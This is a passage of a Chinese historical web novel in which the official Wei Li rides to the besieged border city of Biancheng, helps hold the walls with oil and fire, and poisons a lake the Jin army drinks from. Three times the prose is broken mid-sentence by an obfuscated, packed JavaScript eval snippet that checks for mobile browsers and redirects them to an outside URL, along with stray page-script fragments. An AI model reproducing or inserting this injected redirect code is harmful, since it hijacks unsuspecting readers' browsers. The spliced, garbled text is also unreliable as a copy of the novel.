他半夜惊起,头上还残留着戒尺落下的疼痛,急忙找来通政使司询问,大半夜被叫醒的通政使司敢怒不敢言,但他真的没有收到半点来自卞城的文书,不要说卞城的文书,连淮阳王的文书都没有。 兵部尚书虽然很想骂他,但是忍住了,“传下去问,看看到底哪个环节出了差错,淮阳王不可能没有文书传来。”起码会跟陛下报个平安。 “是。”通政使司急急忙忙退下。 这一夜整个兵部谁都没能好好睡着。 但兵部尚书还是没能查清楚到底奏表和书信被扣在哪个环节。 “父亲,您说文书会不会根本没有到达京?”甚至可能连卞城都没出。汪水铎看向眉头紧皱的父亲。 父亲已经年过半百了,头发斑白,也因为早年忙于政务,落下了一身隐病,他早该退位修养了,不过他们兄弟三个,没一个干出什么大事业的,父亲也就撑着,撑着整个汪家。 “无论消息断在哪里,都是兵部失职。”兵部尚书叹了口气,这哪是针对淮阳王,这分明是想把他这个老东西和淮阳王、柳家一起撸下马。 “微臣惭愧,昨夜被先父打醒之后,我立即召集政通使司来询问探查,却半点消息也无。”兵部尚书暗叹自己是真老了,连跪下都费劲。 不过是个梦,怎么劳师动众的,大半夜把人全部喊起来……冯远站在大殿的最末端,眼睛都快闭上了,早朝实在是太早了…… “微臣昨夜夜观星象百思不得其解,星象显示西北方有战事紧急,局势大乱,但西北方陛下已经派了淮阳王前去,按道理来说若是战事局势不好,淮阳王殿下应该会第一时间上书求援,为何至今没有消息。”钦天监的清静道长顺着兵部尚书的话出声,“如今看来不是贫道才疏学浅错估星象,而是有人截了淮阳王殿下的消息。” “查清楚,另外派人带上粮草军备赶往卞城,如果西北无事那自然是好的,若是有事也能最快时间支援,防患于未然。”文帝思索片刻,“朕听说魏大人身手不错,左右礼部也无事,不如就派你前去,无论战事有无形势如何,都要传信来报。” 啊?我?魏离昏昏沉沉的脑子在听见文帝喊自己名字的时候突然清明起来,伴随着针扎的刺痛,他行礼领命。 —————— “什么啊,先生病成这样还强撑着去早朝……”即灵替魏离找了大夫来,说是普通风寒,但因为魏离体质太差了,旁人得了没什么大碍的病对于他来说反而是大病。 “没事的。”魏离将井水浸过的毛巾系在头上,开始收拾行李。 喉咙还是疼的厉害,他往嘴里塞了两片薄荷叶,冰冷清凉的气味让他的脑子清醒了些,“我要往卞城去,短时间内应该不会回来。” “即刻启程吗?可是……”病的那么严重,看起来都快神志不清,随时都有可能倒下啊……即灵担忧地看着他,“要不我陪着先生去……”路上还能照应一下,军营里一帮大老爷们哪里会照顾人啊? “不用。”魏离的喉咙是真的很痛,冷风灌进肺里就跟刀割一样,“你照顾好即荧就行,随行有军医。” 他很快收拾好两个小包袱,门口的杨小将军已经带着马在等他了。 杨小将军大名杨修,是镇国公杨琦的孙子,先前在北境带兵得了封赏,这次文帝派的援军就是他所操练的北境军,这两个月回京述职,正好驻扎在城外三百里处。 “魏大人请,上马还是要小心些,战马不比状元游街的马。”杨修看见魏离面色苍白,生怕他没踩稳脚蹬摔下来。 “谢将军关心。”魏离冲他点点头,非常艰辛地从脸上挤出一个笑容。 杨修常在军中,哪里见过这样脆弱的人,他都怕魏离在马背上被颠碎。不是说魏离身手不凡的吗? 魏离坐在马上,将手中的包袱系起来挂在马背上正准备出发,身后却传来少女气喘吁吁的呼声,“先生等一下!” 魏离回头,看见清阳公主提着裙子正往这边赶。 “殿下怎么来了?”魏离叹了口气,翻身下马。 “我……我来送先生一程。”清阳公主跑到他面前,素色二十四幅褶间裙,面上还未来得及施粉黛,长发披散着似乎比之前短了一大截,“先生,带上这个吧。” 她将手中紧握了一路的荷包递给他,期期艾艾的目光落在他的脸上。 藕粉色的荷包上用金线掺杂着绣线绣了一对并蒂莲花。 魏离接过荷包,“谢殿下。” “先生一定要小心……清阳在京中等先生回来。”她伸手揽住他,这是他们的第一个拥抱。 “我知道了。”太子果然知晓卞城的军情。他温柔地对她展开笑容,重新上马跟着杨小将军策马出城。 辜负百姓的人,就该千刀万剐。 —————— 行军很急,杨修本想考虑一下魏离的身体,但拗不过魏离执意要日夜兼程。 可卞城的军情不还只是猜测吗?他瞥见月光下魏离愈发苍白的脸色,耳边全是他抑制不住的咳嗽声,仿佛要将肺咳出来。 “先生真的不打算休息一下吗?”他策马赶上魏离,在月光下魏离的皮肤几乎要变成白玉的颜色,若不是他亲自将魏离带出城,他恐怕会将魏离认成月下的精怪混进军中。 “不必了,如果卞城真的遭金人强攻即将破城,我停下的每一刻都将是大宁的隐害。如果卞城无事那就是皆大欢喜。”魏离的喉咙好多了,薄荷的偏方还挺有用处的,“我不能冒着城破的危险休息,将军也知道卞城城破代表什么。” 代表大宁大半疆土将任金人采撷。 杨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588170|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修确定魏离还能撑住,命令亲兵跟着步行军在后头赶路,骑兵全体加速,希望能早日赶到卞城,否则魏离那弱不禁风的样子怕是要出事。 未来的驸马出事,清阳公主还不恨死他。 而卞城中的李瀛此时已经三夜没合眼了,金人军队每隔一个时辰就来骚扰城门守卫一次,每一次对于他们来说都是损失惨重。 他的铠甲已经裂开一半了,身上全是干涸的血迹,有金人的、有他的、也有战友的,也有他最亲爱的外祖父的。 柳老将军替他挡了金国皇子射来的毒箭,银色箭头上闪着紫色的光芒,这箭上的毒与柳淮安中的是一样的毒,凭城内的大夫根本无法解毒。 他舔了舔干裂的嘴唇,灰色的尘土已经将他的面庞覆盖,此时他与千万名死去的士兵没什么分别。 嫩黄色的雀儿落在他肩头,一双墨色豆豆眼盯着他,似乎有些疑惑他为什么弄成这样一副狼狈模样。 魏先生的消息终于到了。 他颤抖着手拆开纸条,长时间紧绷的肌肉有些酸痛。 他的心终于落下了,如果魏离的计划成功,如今行军应该已经到黄羊河附近,再有两天就能到。 “后天,最晚后天就会有援军。”他嘴角忍不住上扬,抓住身边的正在包扎伤口的大夫就是一阵摇晃。 “殿下说的是真的吗?”城里最后剩下的副将柳杨垂着一只手来到他身边,他是卞城里最后的柳姓人了,整个柳家除了女眷尽数牺牲。 李瀛还没来得及开口,就听见远处放哨的士兵激动的声音,“援军!是援军!” 他迫不及待奔向城墙,肩膀上的雀儿差点被甩下来,伤口不小心崩开,殷红的血又从灰黄色的布料上晕出来,好疼,但远处的军旗给他带来的喜悦远远压过伤口的疼痛。 是援军。 从关内来的援军。 他命人即刻打开关内方向的城门,远处的骑兵飞速接近。 第一匹冲进城门的是匹银鬃白马,马上趴着一个人,身着黑色骑装。紧跟其后的是杨修,他冲李瀛大喊:“快接住魏大人!” 银鬃白马身上趴着的正是神志不清的魏离。 什么魏大人?李瀛的脑子还没反应过来,但身体已经先一步做出了行动,他往前一滚躲过刹不下脚步的白马蹄子,伸手接住从马背上跌落下来的人。 是魏离。他怎么会来?难道李焕已经选择了苏家,准备彻底放弃他? “先生?”李瀛轻轻拍了拍他通红的面颊,他的嘴唇红的像是要滴出血来。 好烫。李瀛抱着魏离起身走向最近的屋子,让身边的人先去请大夫来。 “魏大人出京时应该就病病得不轻,他怕卞城失守,不愿意停下来休息也不肯让随行军医诊脉,硬让我带着骑兵与他一起先赶路,步兵正在后面。”杨修看向李瀛,“我本以为他与太子那些工于心计的酸腐文人是一路人,如今看来他倒是更对我胃口。” “你这就是不信我的眼光了。”先前杨修知道李瀛天天凑在已经明示是太子党的魏离身边还嘲笑了他好几天,如今李瀛终于是吐了一口气。 二人一同看向榻上的魏离,他面色通红,眉眼间尽是虚汗,精致的眉眼此时皱作一团,西北的天气已经凉了,他们甚至能从魏离身上看到隐隐升起的热气。 ? 16. 第 16 章 魏离足足昏迷了三日。 他还没睁开眼就感觉到两只鸟在他的身上跳大神,他睁开眼与小黄雀大眼瞪小眼,吓得它扑腾着飞起来,而在他腹部扑腾的乌鸦也尴尬地把翅膀收起来。 伤好的倒是快。他在临走前特地让军医杨杏林帮忙照看乌鸦,放身边他怕自己在马背上昏过去把它压成重伤,出发前还惨兮兮的乌鸦如今已经生龙活虎。 他刚准备开口,却发现自己的喉咙干的一出声就要裂开。 在空中乱扑腾的小雀儿已经从窗户飞出去扯正在煎药的杨杏林的衣服,拖着他进来了。 “去跟殿下说魏大人醒了。”杨杏林见床上的魏离睁着眼睛,差点喜极而泣,回头对着还没来得及踏进屋里的助手说道,“快去!” 三天啊,明明只是普通的风寒加上路途劳累,按道理来说当天晚上就该醒的,再不济第二天也该醒了,但魏大人就是一直不醒啊,他都怕杨小将军和淮阳王以为他是庸医把他给砍了。 还好是醒了,他在心里给自己抹了一把不存在的泪水,快步走到屋外给魏离倒了杯温水。 这魏大人也是厉害,高烧不退还能在马背上坚持那么多天,听杨小将军说他是见着了卞城的门才昏过去的。 魏离握了一下发麻的掌心,撑着床慢慢坐起来,“情况怎么样?” “杨将军亲自上阵将金人逼退,不过只是暂时没有攻城的行动,他们驻扎在城外不远处。”杨杏林重新为魏离探脉,风寒未清,不过比之前好多了。 “金国领兵的还是那位小皇子吗?咳咳……”魏离喝了两口水润喉,忍不住咳了两声。 “这个我不是很清楚,待会淮阳王殿下和杨将军应该……”会来。杨杏林的话还没说完,门外已经冲进来两道披甲人影。 “先生感觉怎么样?”李瀛蹲在床前紧紧抓住他的手,杨修看见他杯子里的水见底了干脆把整壶水都提进来。 “没什么大碍,死不了。”魏离挣脱李瀛的手,“局势怎么样?金国领军的还是那位小皇子吗?” 死是死不了,但恐怕还得病上十天半个月。杨杏林眼见这里没有自己的事情了,退出去继续看自己煎的药,顺手帮他们把门带上。 “还是他。金国那位小皇子很沉得住气,我在城门前叫阵,三天了,没人来应,怎么骂都不肯出来应战。”杨修替他将水续上。 “他在等。”魏离忍不住咳了起来,苍白的脸上连嘴唇都浅淡的几乎要看不出颜色了。 他咳了一阵又喝了两口水才继续出声,“三日之内,西边必然出现金军,如果我没猜错,到时候陛下会下旨让杨将军去坐镇。”大宁重文,根本没几个有能耐的大将。 “到时候卞城局势就会不一样了。”一个没上过战场的王爷而已。 “你怎么知道?”看着魏离几乎下一刻就要昏倒的样子,李瀛有些愧疚,如果他直接传信给兵部,他可能就不需要这么劳累了。 魏离皱紧眉头看向他,“从军令被截一事就可以看出大宁之内有人和金国里应外合,这不是摆在明面上的事情吗?” 蠢也要有个限度。 “陛下已经下令彻查此时了。”杨修到这第一天就派自己的亲信回京上报,不过魏离说的是真的,那名亲信在路上遭遇截杀,一路乔装打扮才带着一身伤抵达京城。 “杨将军也这么天真?”魏离惊奇地看向他,脑子里装的都是肌肉吗? 魏离将杯子放在床头的矮几上,“虽说派人截杀和拦截信件都很简单,只要不要命,谁都可以做。但一点消息都透不出去,我们先假设他不在大宁的官宦体系内,这样一个能拦截所有消息的组织,单凭陛下派下来的钦差大臣,有可能轻易找到并拔除吗?如果他在大宁的官宦体系内,那整个大宁被渗透了多少我们根本无从得知。” “杨将军也是行军打仗已久,应该是知道行伍之中军令和信息无法按计划到达会造成什么结果。回到我刚刚提出的西边出现金军的猜测,金国往年骚扰边境城池都是多线并行,而今只盯着卞城,其他城池并没有出现金人压境。为的就是希望从卞城打破一个入口,自此他们出入大宁如入无人之境。” “而现今因为我们的援军,金军暂退,但没有另寻目标,只是驻扎在城外。我们的粮草紧急,难道他们就有取之不尽的粮草?” “他们选择驻扎在城外只有一个可能,卞城不久后会变得容易攻打,也就是我跟杨将军到打之前的状态。而重新回到那种局面的可能只有两个,一是他们在调兵增援,准备以人数取胜,而另一种可能就是派兵攻打另一座城池,卞城内的兵力或者将领会被调离,因为西面西北面不止缺少将领还缺少士卒。” “我猜是第二种。第一种情况只要我们防守得当他们不一定能得手,但第二种无论卞城会不会支援其他城池,他们都可以得到一座城。” 魏离的一席话听得杨修跟李瀛有些头疼。 “不能掉一部分兵力去支援,一部分留下吗?”李瀛在一阵沉默之后开口。 “我们带来的兵不多,分一部分出去的话,分得少了根本起不到支援的作用,只是一起去送菜,但分的多了,卞城可能会守不住。”杨修很快就想明白了魏离的话,“我们根本撑不到新的援军来。”而且未必有援军。 真棘手,早知道就不回京述职了,还省的领这么吃力不讨好的差事。杨修看魏离脸色越来越难看,“魏大人先休息吧,等真到那天再想应对的方法也不迟。” “说实话我摸不清陛下为何派我随军。”魏离又咳嗽了一阵才出声,“但我也着实见不得黎民百姓被政斗党争拉扯的鲜血淋漓。无论杨将军支持的是哪位皇子,不归还是请求您,以大局为重。” “知道了。”杨修面上有些难看,他来这确实是为了想办法对淮阳王下手的,杨家看好的是九皇子,九皇子年岁虽小,但陛下也正值壮年。太子在京中不好设计,但卞城山高皇帝远…… 如今魏离当面点出来,他也确实不好做什么手脚。不过他也不是什么不顾大局的人,他会确定淮阳王出事不会影响到局势再出手。 “先生多休息,有事喊外面的人。”外面是军医杨杏林,李瀛怕魏离高烧烧出毛病来,特地请他住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588171|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔壁的耳房。 “谢殿下。”魏离目送他们离开,门外憋着躲了好久的两只鸟儿此时才松口气飞进来落在他的手臂上。 小雀儿歪头紧盯着他,好像在观察他的脸为什么又变得惨白。 —————— 杨修是魏离醒来的第二天傍晚离开的。 “魏大人料事如神,如果是你做淮阳王的军师,卞城未必撑不到援军来时。”杨修带走了大半的将士,他不会为了一座城置自己为危难之中的。 他也根本不理解魏离为了赶路支援暂时缓解卞城局势而不眠不休冒死赶路的心。 如果淮阳王死在卞城,不是皆大欢喜吗?他魏离是太子党又不是淮阳王党。 不过这一切都不重要,他杨修是不可能为了什么黎民百姓付出生命的。卞城紧闭的城门离他越来越远。 魏离勉强能下床走一段,他和卞城内好不容易找到的医女一同在城楼上看着送他来的军伍绝尘而去。 李瀛是什么命啊,怎么全世界的人都在想着他去死。他按了按自己肿胀的太阳穴。 算了,多想无益。医女扶着他走下城楼,他侧身对少女道,“麻烦姑娘再带我去另一座城楼上看看吧。” “大人……大人不必……不必多礼……叫我小荨就行。”顾荨不好意思地低下头,满脸绯红,魏大人是真的很英俊…… 城中的老弱妇孺都离开了,整个卞城中只有顾荨一位女子,因为她是整个卞城中唯一的大夫,她的师父在前年过世了,如今伤员不多,她才能搀着魏离走动。 “那边是条河吗?”魏离指着远处被踩烂的田埂边上被夕阳照射着反射出一片暖色的水面。 “算不得河,应该算是湖泊。”没有源头,应该是从地下涌上来的水。 “城中饮水是从哪里来的?” “城中饮水多是自己打的井,没钱打井的人家会吃之前柳老将军打的井。” 都是井水,井水会和湖泊联通吗? “柳老将军打井之前,大家喝的什么水?”魏离扶住城墙,看着远处星火点点——是金军的营地。有几个金军士兵打着火把到了湖泊边上,看动作应该是在打水。 “城的另一边有一条河,我小时候都是去那条河挑的水。”顾荨盯着魏离的侧颜,魏大人的睫毛好长啊,他的皮肤也好白,比自己的可白多了。 “城中药材里还有雷公藤吗?”魏离记得书中有记载,鬼门关山下的沼泽边上常生雷公藤,雷公藤毒性较强,中毒后大概一个时辰才会出现症状,中毒症状包括头晕、心悸、腹痛等,严重时可致死。 “有的。”有很多,整个鬼门关外围长的全是雷公藤,卞城盛产雷公藤。但是魏先生要雷公藤做什么,总不能是用来城破自裁吧,那发作时间也太久了,不如砒霜和鸠毒。 “麻烦你现在去将库存的雷公藤全部拿出来,让大家连夜研磨成粉。顺道让淮阳王殿下到城楼来见我。”魏离的衣襟被乍然吹起的狂风掀飞,仿佛下一刻就要羽化登仙。 不出意外明日那个小皇子就会带兵攻城。 ? 17. 第 17 章 李瀛到达城楼上时正看见魏离坐在城墙上研究上次金人攻城留下的铁爪。 “先生小心些。”李瀛快步走到他身后扶住他。 “上次不归在信中说用猛火油和石灰阻止金人攀上城墙,猛火油和石灰还剩下多少?”魏离将铁爪从城楼上扔下去,重新站在城楼过道上。 “石灰没有了,猛火油只剩下两桶。”李瀛看的心惊胆战,生怕他一个头晕栽下去。 “城中有其他品类的油吧,什么品类都行,是油就可以,全部收集起来。今晚他们可能就会攻城,最晚明日。先将油淋在城墙上,等他们抛上来铁索再浇到他们身上,最后用猛火油点燃。”魏离低头就能看见城门边上堆着的焦黑尸体。 “我方才让顾荨去找雷公藤出来,趁着他们攻城,你找两三个人去那边那个湖泊里把雷公藤粉末倒进去。从今天起所有人都不要喝井里的水,都去城另外一头挑河里的水喝。”他闭上眼睛揉了揉明睛穴,眼睛被风吹多了有些干。 “明日攻城挺过去就有机会撑到援军到来。”他忍不住又咳嗽起来。 “上面风大,先生还是下去避避风吧。”李瀛将自己的披风脱下来系在他身上,秋末的风已经隐隐有冬日的寒意了。 魏离也不推辞,披着披风在他的搀扶下下了城楼。 —————— 金国的军队果然在半夜开始攻城。 无数个日夜回荡在卞城门口的号角声停了几日后再次在卞城门前吹响。 魏离当然也还没入睡,他听见金军的号角声的那一刻从床上下来,抓着太子送给他的那把剑就出门了。 秋风萧瑟,半夜的风更甚。西北干得令人发痒的风凉飕飕地钻进他的衣服里,他将衣领拉紧,将剑别在腰间,转身迎着风向人群跑去。风寒还没好全,他边跑边咳嗽,差点将肺咳出来。 身体是要紧,可这个城破他们就没命了,一想到他可能会死在卞城,而苏家好好地在京城享福他就恨得牙痒痒。 谁都不能出差错,错一步就是大家一起死,他可不甘心就这样去死。 城墙上面指挥众人各就各位的李瀛一眼就看见了人群中一身黑衣的魏离,他的皮肤太白了,在火光的映照下有些不真实。 顾荨也看见魏离了,她正准备待会为伤员处理伤口要用到的药材和纱布,可魏离不是还病的不轻吗? 他们犹疑的这一会,魏离踩着城墙下原本招兵用的破烂木桌直接翻上了城墙,将李瀛惊的心都要跳出来,“先生小心些。” 他之前中秋跟郁恒京说的那些,什么拜师什么身手不凡,都是他根据魏离手上的茧子临场编出来的,他也不知道魏离真的会啊! “没事,先将油倒下去再砍。”他抢过李瀛手边的普通油,顺着铁链浇下去,金人士兵被浇了个满头,嘴里污言秽语比人还先到达他的面前。 他听的烦了也不再等金人士兵爬到半空,抽出腰间的剑就砍,他没有花时间去看手腕粗的铁链,砍得是抓在城墙上扒不下来的铁爪,铁链落下的那一刻一支利箭当空朝他面门射来,他侧身躲避,没躲过,耳畔被擦出血痕。 他低头一看,那位被金人士兵拥簇着的小皇子正举着弓对他笑。 “还挺准的。”魏离笑了从地上挑了一把坏的不是很严重的破烂木弓,将从他耳畔擦过的那支箭捡回来,箭头撞击到墙上有些歪了。 他用大拇指扣住箭弦,将食指压在拇指之上,箭尾卡在拇指和食指的指窝处,将破弓拉满,笑着将箭射出。 身边猛火油燃起的大火映在他的眼中,就像当年他亲手点燃的房屋和柴草,烧焦的□□散发出来的气味令人作呕。 那小皇子叶轻天还马上悠闲地看向不远处被火光映照得通红的城墙,墙上那位拉弓的好像是新来的,是杨修的副手吗,长得还怪好看的。 不过他那副花拳绣腿的样子应该是跟着杨修下来的文臣吧,听说杨修行军的时候带了一位礼部侍郎,听说是前不久刚考上的状元。 命真不好,官位还没焐热呢,就要死在这卞城了。 他正准备和之前一样避开那看起来一点力气也没有的箭,却没来得及躲开。 太快了。他伸手碰了一下没入肩膀的箭的尾羽,是他刚刚射过去那支,他的箭尾羽上都有专门的标记。 “殿下!”他身边的将士乱做一团。 “继续攻城,不必管我。”他将尾羽折断,下令让骑兵射箭,金国最擅长骑射,这几千将士的箭雨难道还能一支都射不中? 魏离将弓重新放在地上,嫣红的血液顺着拇指滴落在地上,他也懒得再重新拾起地上的宝剑,李焕给的这把剑中看不中用,已经出现裂痕了,再砍两下怕是要碎了。 中箭了,他看见对面的阵势乱了片刻,肩膀挂着半只箭的小皇子重新出现在他的视野里,下一刻整片骑兵都举起了弓箭。 “趴下,从城墙缝隙往下倒油点火。”他指挥着城墙上的人们迅速躲在城墙死角,他早就让李瀛做好这种情况的准备,特地在在城防墙上挖了小洞。 尽管他指挥的已经很快,但还是有人躲避不及受了伤。 “受伤的都小心点爬下去,顾姑娘在下面等着诸位。”喊完话,他将另一侧的李瀛拉到身边,一边点火一边问,“你派过去湖边的几个人回来了吗?” “回来了,所有雷公藤都倒进湖里了。”李瀛第一次知道原来真的有人能文武双全,他要砍好几次的铁索,魏离只需要砍两下,他尝试了几十次都射不中的叶轻,天魏离可以轻易射中。 他看了看魏离正在滴血的耳朵,“先生还好吗?” “不好。”魏离又咳嗽起来,额头有些发烫,“再过一会他们就会退兵,你让大家带上蒙面,将城外尸体烧干净,这么堆在门口容易引起瘟疫。” 他们也可以效仿贾诩,将尸体用投石车投回金人营地,不过卞城没有投石车。 李瀛无措地伸出手拍他的背,魏离很瘦,手掌所触碰到的都是骨头生硬硌人的触感。 魏离苍白的脸上沾了些城墙上的灰烬,火光和惨叫刺得他耳朵疼,面前的李瀛一副茫然不知所措的样子看得他连眼睛都感觉疼,“我先下去找顾姑娘,殿下按照之前的应对方法即可。” —————— 城墙脚下的顾荨正在救治伤员,这次的伤员比以往少得多,她居然觉得有些清闲,不可思议。 也不知道魏大人怎么样了,他本身就重病未愈,又在墙头吹风,不过他的身手真的好厉害,那么高的城楼,说上就上。她耐心将最后一名伤员包扎好,这次大家受的都是小伤,很快就能好。 魏离下了城楼没有第一时间去找顾荨,顾荨那头伤员们虽说都是轻伤,但人数多,他去了也是耽误他们的时间。 索性自己去药房找药,退热的伤寒药物不过就那几种,其中麻黄和桂枝最为常用。以前他请不到郎中的时候就是自己上山采的草药、配的药方,虽然他不懂医术,但病过这么多次,对于这些小症状的处理都已经得心应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588172|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手了。 药房里的药材胡乱堆放着,扑面而来的清香和苦涩交织在一起组成了新的气味。 闻着有些提神,魏离在药材堆里小心地翻找着,生怕把乱中有序的药材打乱给顾荨添麻烦。 桂枝的香味奇特,他很快就找着了。 在他将甜的发辛的桂枝塞进嘴里的同时,金人退兵了,满城的将士喜极而泣,他们本以为今夜是守不住的,早就认命准备陪着淮阳王一起死了,能跟王爷死一起,也不亏。 不过众人没有高兴多久,虽然金兵暂退,而城中的火油都已经用尽,满城找不出一把好剑,等他们下一轮进攻,卞城还是守不住。 “会有援军吗殿下?”一位伍长顶着被火燎得黢黑的脸从李瀛面前的人群中钻出,打断了李瀛四处寻找魏离的目光。 “会的。再坚持几天援军就到了。”李瀛从口中吐出自己都不相信的话语,心下有些愧疚。 可是卞城不能不守啊,他也不能临阵弃城逃跑,如果不是魏离,卞城早就在外祖父过世的时候破了。 魏离从药房出来,正看到李瀛被围得水泄不通,连顾荨都在里面。 退兵了?他边嚼着嘴里的桂枝边上前加入人群,但还没碰上人群外围,顾荨就发现他了,“魏大人!” 顾荨从人群中挤出来扑到他身边,握住他的手就开始摸脉,“大家都以为是淮阳王殿下做的计策守下的卞城,其实是您想的吧?” “谁想的都不重要,守下来就好。”魏离看向热闹的人群,松了口气,终于笑了出来,笑着笑着又忍不住咳嗽。 “我给大人开些药吧,多加休息,每日煎服,好的快些。”虽然大敌当前,魏离根本不可能好好休息。 “多谢。”魏离点点头,顺手将身上还挂着的剑鞘解下来,随手丢在路边,果然宫中的赏赐都是用来观赏的。 他甩甩袖子,试图将身上的灰烬抖掉,却从袖中抖出来一个藕粉色的并蒂莲花荷包。 他弯下腰捡起来将灰吹走,一旁的顾荨好奇地看过来,“是夫人送的吗?”魏离虽然看起来年轻,但保不齐已经婚配了,毕竟这么英俊,在京城肯定也是受尽世家小姐追捧吧。 顾荨忽然想起来自己的幼时玩伴跟京城来的少爷私奔前与她道别的话。 “小荨,我爱他,我这辈子只想嫁给他,哪怕是做妾。” 如果是像魏大人这种又温柔又聪明,长得还英俊的,应该有很多人赶着给他做妾吧。 魏离并不知道自己在顾荨的脑子里已经妻妾成群、儿孙绕膝了,他将荷包重新放进袖中,“是清阳公主殿下给的。” 不愧是魏大人,连公主都喜欢。顾荨想到李瀛长得也不错,那清阳公主应该也不差,与魏离应当也是郎才女貌、天生一对。她想着想着,突然看向魏离,“大人尚公主了吗?” 如果已经娶了公主,那不太可能被陛下派到卞城来吧,这不是把自己女儿女婿分开了吗? “还未,只是陛下刚赐的婚。” 魏大人连上城墙都要带着荷包,肯定对公主情根深种吧。可京中青年才俊那么多,公主殿下会不会变心啊,眼见这卞城的战事也不是十天半个月能打完的。 刚赐的婚,人就被派到卞城来了,指不定公主想悔婚或者陛下想反悔呢,把魏大人扔到卞城来,随时都有生命危险。 魏离并不知道顾荨脑补了什么大戏,只觉得她看自己的目光变得很快,最后定格在一种充满怜悯的眼神上。 ? 18. 第 18 章 金人第二天乃至第三天都没能继续攻城。 “雷公藤起效果了。”李瀛将自己仅剩的佩剑递给魏离,“太子的那把剑我一早去城墙上捡回来看过了,已经不能用了。” 薄薄的剑身已经裂开了,碎成三段,好惨一把剑。 “不必了,我不喜欢用剑。”魏离将青色剑鞘的宝剑又推回去给他,在这守城这么多天,李瀛自己的佩剑早就坏了,这一把是杨修临走前给他的。 “那先生喜欢用什么兵器,我可以让人在城中找找。” 这城中哪里还有什么好兵器,连守城将士的兵器都是从金军的死人堆里捡出来的。 “不必麻烦。金军不可能这么快发现是水源的问题,他们还会病上好几天。趁现在派人去容城看杨将军那边的局势如何,最多三天,从南边调来的军队就会到达。”魏离看向一边高高兴兴分享粟米饭的军士,又开口,“让去容城的人替我带根枪来。” 他们没那么快发现是湖泊的问题的,雷公藤的味道并不明显,那片湖泊离卞城的距离也算得上远。 何况,发现了又怎么样,他们要冒着风险放弃这边的水源进到鬼门关里去取水吗? 魏离这边的人是高高兴兴在分粟米饭,金军那边已经要闹翻天了。 叶轻天将军医端上来的苦汤药一把打翻,“喝喝喝,没有半点好转,反倒越来越严重,再查不出来这是什么病,你们都把脑袋给我摘下来!” 他以往在王都被贵女们争相追捧的剑眉星目此时仿佛真的要变成一把砍了随行军医头颅的利剑,吓得军医“扑通”一声跪下,“求殿下开恩……” “滚下去。”叶轻天的腹中又开始绞痛。 一群废物。如今整个军营都染上这种怪病,倒是给了卞城喘息之机,必然跟卞城里的人脱不开干系。 他的脑子里第一个浮现的就是那灯光下映照着的青年,李瀛的脑子根本想不出这种影响范围这么广的计策,不然早两个月就实施了,哪里会被他们逼到那么狼狈的地步。 魏离。大宁京中的人传来的消息是说他聪慧非常但性格温和谦逊,如今他的军营之中因此疫症死去、丧失行动能力的士兵已经超过半数,如此狠辣的手段,怎么可能谦逊温和! 叶轻天腹中的绞痛越来越严重,他趴在案上恨不得将自己开膛破肚。 他早晚会把这些痛苦还给他。 军账外是被疼痛和呕吐折磨得快提不起药箱的军医们,他们根本找不到这病的来源或者抑制方法。 放在以往,他们不知道是什么疫症的时候都会先用些解毒的,像金银花、甘草之类的,可这次却没有半分作用,反而服过药的将士症状都更加严重了。 他们本是四位随军医师,但昨夜有一位以身试药,当场毙命。搞得他们所有人都不敢轻易下药。 可不下药又怎么能找出对症的药呢?眼看着军中大半的人都奄奄一息,他们也怕自己见不着明天的太阳啊! 攻城之后的第五天,大宁援军还未到达卞城,但叶轻天已经拔营离开了。 “他们是回金国了吗?”顾荨遥望远处本该是金军营地的地方,那边漫起了滚滚黄沙——是骑兵离开时马蹄带起的尘土。 他们真的走了吗? “看来我高估他们了。”魏离伸出食指碰了碰小黄雀的脑袋,“我以为他们在第三天就应该发现是水源的问题,今天是第五天,他们临走之前仍旧打了那片湖的水。” 也不知道那位小皇子能不能顺利回到自己的府邸。 “等他们都走干净了,殿下派人将那片湖围起来吧,免得旅人和野兽误饮了里面的水。”他转头看向一边逗乌鸦的李瀛。 “好。”李瀛有三个月没感受过这样轻松的氛围了,前三个月过的都是什么日子啊……要是他能想到用这种方法,或许外祖父就不会死了。 不过这样的方法,魏先生肯定也是迫于条件选择的最下策,以李瀛对他的了解来看,他并不想造成那么大的伤亡,说难听点是善心泛滥,但他确实是一个善良温柔的人,心怀大爱,不然也不会日夜兼程不顾身体来驰援卞城。 在李瀛看来,这已经是目前最好的方法了,从那一夜开始,他们边的伤员不是重伤,死亡人数为零。 “对了,魏大人,我昨天尝过城中的每一口井了,雷公藤的毒没有渗透到井水中,井水水源跟那片湖应该是不一样的。”顾荨看见那片映照着阳光的湖才想起来自己昨天去试毒的事情。 “谢谢。”魏离对她点点头,旋即又说道,“再麻烦顾姑娘替我准备些解毒的药材吧。” 他要下那片湖。 